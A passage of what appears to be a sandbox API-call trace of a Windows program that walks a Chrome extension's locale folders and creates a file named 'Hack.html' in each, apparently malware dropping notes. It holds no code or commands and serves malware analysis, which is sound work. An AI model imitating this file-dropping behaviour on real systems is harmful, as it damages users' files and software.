[0075.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.911] GetFileType (hFile=0x174) returned 0x1 [0075.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.911] GetFileType (hFile=0x174) returned 0x1 [0075.912] WriteFile (in: hFile=0x174, lpBuffer=0x2886124*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2886124*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de", lpFilePart=0x0) returned 0x92 [0075.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\", lpFilePart=0x0) returned 0x93 [0075.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.914] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.914] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.914] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.914] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de", lpFilePart=0x0) returned 0x92 [0075.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\", lpFilePart=0x0) returned 0x93 [0075.915] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.915] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.915] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.915] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.915] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.916] GetFileType (hFile=0x174) returned 0x1 [0075.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.916] GetFileType (hFile=0x174) returned 0x1 [0075.916] WriteFile (in: hFile=0x174, lpBuffer=0x288b934*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x288b934*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el", lpFilePart=0x0) returned 0x92 [0075.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\", lpFilePart=0x0) returned 0x93 [0075.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.918] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.918] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.918] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.918] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el", lpFilePart=0x0) returned 0x92 [0075.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\", lpFilePart=0x0) returned 0x93 [0075.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.919] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.919] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.919] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.919] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.920] GetFileType (hFile=0x174) returned 0x1 [0075.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.920] GetFileType (hFile=0x174) returned 0x1 [0075.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en", lpFilePart=0x0) returned 0x92 [0075.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\", lpFilePart=0x0) returned 0x93 [0075.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.923] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.923] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en", lpFilePart=0x0) returned 0x92 [0075.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\", lpFilePart=0x0) returned 0x93 [0075.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.923] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.924] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.924] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.924] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.925] GetFileType (hFile=0x174) returned 0x1 [0075.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.925] GetFileType (hFile=0x174) returned 0x1 [0075.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.926] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es", lpFilePart=0x0) returned 0x92 [0075.926] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\", lpFilePart=0x0) returned 0x93 [0075.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.927] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.927] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.927] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.927] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.928] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es", lpFilePart=0x0) returned 0x92 [0075.928] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\", lpFilePart=0x0) returned 0x93 [0075.928] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.928] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.928] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.928] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.928] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.928] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.929] GetFileType (hFile=0x174) returned 0x1 [0075.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.929] GetFileType (hFile=0x174) returned 0x1 [0075.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.931] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et", lpFilePart=0x0) returned 0x92 [0075.931] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\", lpFilePart=0x0) returned 0x93 [0075.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.932] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.932] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.932] 